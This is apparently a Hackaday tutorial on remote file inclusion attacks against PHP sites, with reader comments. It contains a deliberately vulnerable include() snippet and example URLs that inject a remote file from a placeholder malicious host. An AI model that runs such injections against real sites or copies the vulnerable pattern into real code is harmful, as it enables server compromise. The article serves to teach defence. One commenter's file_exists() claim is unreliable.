In the waning hours of 2010, a hacking group known as Lulzsec ran rampant across the Internet, leaving a path of compromised servers, a trail of defaced home pages, leaked emails, and login information in their wake. They were eventually busted via human error, and the leader of the group becoming an FBI informant. This handful of relatively young hackers had made a huge mess of things. After the digital dust had settled – researches, journalists, and coders began to dissect just how these seemingly harmless group of kids were able to harness so much power and control over the World Wide Web. What they found was not only eye-opening to web masters and coders, but shined a light on just how vulnerable all of our data was for everyone to see. It ushered in an era of renewed focus on security and how to write secure code.
In this Dark Arts series, we have taken a close look at the primary techniques the Luzsec hackers used to gain illegal access to servers. We’ve covered two them – SQL injection (SQLi) and cross-site scripting (XSS). In this article, we’ll go over the final technique called remote file inclusion (RFI).
DISCLAIMER: Fortunately, the surge of security-minded coding practices after the fall of Lulzsec has (for the most part) removed these vulnerabilities from the Internet as a whole. These techniques are very dated and will not work on any server that is maintained and/or behind a decent firewall, and your IP will probably get flagged and logged for trying them out. But feel free to set up a server at home and play around.
PHP, Yeah You Should Know Me Better Than That
RFI attacks are not as well-known as their SQLi and XSS counterparts. However, it’s a very effective way to get malicious code to run on a vulnerable target server. It works by including a remote file in an HTTP request. Its basic form is to append a URL to include a file from a remote server. For instance, say instead of typing http://www.ilurvmesomearduino.com/
into the URL bar, you type in something like http://www.ilurvmesomearduino.com/index.php?page=http://www.hackaday.com
?
If you get the Hackaday web page, then http://www.ilurvmesomearduino.com
is susceptible to an RFI attack. What you’ve done is run http://www.hackaday.com/index.php
on the Arduino site server. There is nothing stopping you from doing something like http://www.ilurvmesomearduino.com/index.php?page=http://www.dosomethingbad.php
The most prevalent reason this was possible was because web coders would often structure links to other pages within their site like this:
------| index.php?page=uno.php ------| index.php?page=mega.php ------| index.php?page=due.php
This way, the links in the index.php home page will simply call another .php file. To do this, they would use the include() function to call the sub-pages of uno, mega and due.php. Consider the slightly modified code we found on the web (written in 2011) from a hacker who went by [B.K.]:
<?php if(isset($_GET['page'])) //vulnerable to RFI { $page=$_GET['page']; include($page.".php"); } else{ ?> <html> <h1>I Love Arduino</h1> click here for <a href="/index.php?page=uno">Uno</a> click here for <a href="/index.php?page=mega">Mega</a> click here for <a href="/index.php?page=due">Due</a> </html> <? } ?>
Can you see where the problem is? When a link in the HTML block is clicked, it gets passed to the GET
variable. The include()
function will then resolve the URL to http://www.ilurvmesomearduio.com/index.php?page=uno
if you click the ‘Uno’ link. There is nothing here to stop someone from including files from outside the domain. Nothing stops you from changing ?page=uno
to whatever you want.
And that’s how a basic RFI attack works. There are variations of course. Let us know your favorite in the comments!
Automatic Tools
As you see, the attack is simple enough to construct a program that can look for pages that are susceptible to RFI, and then run code to extract information from the vulnerable server. And that’s exactly what happened in the early part of the decade. The graph below shows logged RFI attacks in 2010-2011. The spikes were largely do to a single user, suggesting an automated tool was at work.
Preventing RFI Attacks
Fortunately it is relatively trivial to stop RFI attacks. The absolute best way is to go into your php.ini
file and set allow_url_fopen
and allow_url_include
to off. They should be off by default if you keep your server updated, but check anyway. Another way is to sanitize the inputs, much in the same you would to prevent SQLi. This can be done by making a whitelist of files that can be run on your server. And there’s always a good firewall that can stop these kind of attacks before they start.
Most importantly, we should always look at code through the eyes of the hacker probing for weaknesses, and of course patch up the holes as quickly as possible when a new one is discovered. With RFI, as with SQLi, the problem is opening up the system to arbitrary user input. This was a lesson the Internet learned the hard way. We hope.
oh man, if that’s how you decide to include files then you should be spanked, php.ini protections or not.
+1, what the actual fuck is that example code, whoever writes that in real life needs to be bitchslapped
It’s quite common practice for enterprises to flow millions of dollars from code even worse than the example. No one cares until something blows up or it stops making money.
#weatherunderground
What the hell, people actually do/did that? Even back when I was doing mostly hobby web dev some 15+ years ago you would do something like “if($_GET[‘page’] == ‘index’){include(‘/pages/index.php’)}” (or more commonly a switch()) to protect against that type of stuff.
same here
The third-world programmer who read a book two-years prior to being contracted doesn’t know about ./
I used to work with a guy who liked to do:
foreach ($_REQUEST as $key => $value)
$$key = $value;
Then he proceeded to use $some_form_input_name_here in later parts of the code.
He even did this BEFORE sanitizing or parsing the request in any way. Pure madness.
I’ve always just went with ./
For SQLi I go with PDO prepared statements if I have to use PHP which I usually do cause I usually do popular CMS plugin code when I do anything with web-dev.
” But feel free to set up a server at home and play around.”
Whoo Hoo. Now I can swipe all my crown jewels….just as soon as I get some.
It’s called “Off Line Testing”, and all quality shops do this protocol. (Unless the “Bean Counters” say no.)
Ive had an “In house” network for 10 years, just for the type of testing referenced here.
never forget, the internet is not real, no mater how hard they want it to be real…
The internet is mostly a samdbox for the government.
Most countries filter traffic heading in and out.
The big optical wiretap in Cornwall handles mind boggling amounts of data everyday.
Me and a mate once fired a photographing rocket up next to Menwith Hill, just to see how they like it. Just a 50 quid Estes thing with the old film-based camera. Got some great shots of the empty sky over a major international eavesdropping facility.
noice :)
The PHP documentation was it’s own worst enemy. For years the documentation included “examples” off how to use features that were straight up security vulnerabilities (a good example was how to send an email which was vulnerable to injection turning your site into a spam gateway). Thanks to the low bar to entry these examples were copy/pasted into hundreds of sites.
PHP was (is?) a goddamn mess for years. I spent months securing both a Perl and PHP based website for my department only to have the admin kill the whole server when another departments website was hacked and went rogue tromping on every other server on our network.
I got flak for several days because I hid a watchdog suicide routine to kill our wbsite if PHP went rogue and the moronic admin found it after shutting everything down. Placed the blame squarely on me until I pressured our asshole bosses to do an internal investigation by a 3rd party.
I was absolved but the damage was done. I was reprimanded and eventually taken off the the dev team. I quit and six months later another watchdog I wrote clamped down on the internal file server because some ass downloaded a Trojan.
I have no sympathy for PHP or their users. Some of the worst code ever written was written in PHP.
Surprised they didn’t come after you for THAT. I understand the why, but when dealing with assholes stuff like that can happen.
Not to mention various “tutorials” written by people who just barely learned it themselves. I know, because I’ve written such tutorials myself.
This was a big problem many years ago – when there was only allow_url_fopen and not the extra allow_url_include option. (Think it came with PHP 5.0 – but I’m not sure)
Security rule number is – never trust anything that comes from a browser.
So things like $_GET, $_POST, $_REQUEST, QUERY_STRING, REQUEST_URI and REQUEST_URL need to be sanitized.
Hell, I don’t even trust the input **I** create!
Those running histograms, like the plot, are much less useful than a running cumulative sum. It shows trends in the small day-to-day as well as the peaks. You might consider recontriving your information into that format.
Oh, come on… It’s 2017 and dumb PHP with dumb includes is still a thing? o_0
I am doing something similar but I am checking if the php file exists in a folder of includes before including. I imagine that should solve that issue.
If file_exists(“/root/public_html/incudes/contactus.php/fake directory/fakefile.exe”) will return TRUE because apache returnes the first match to php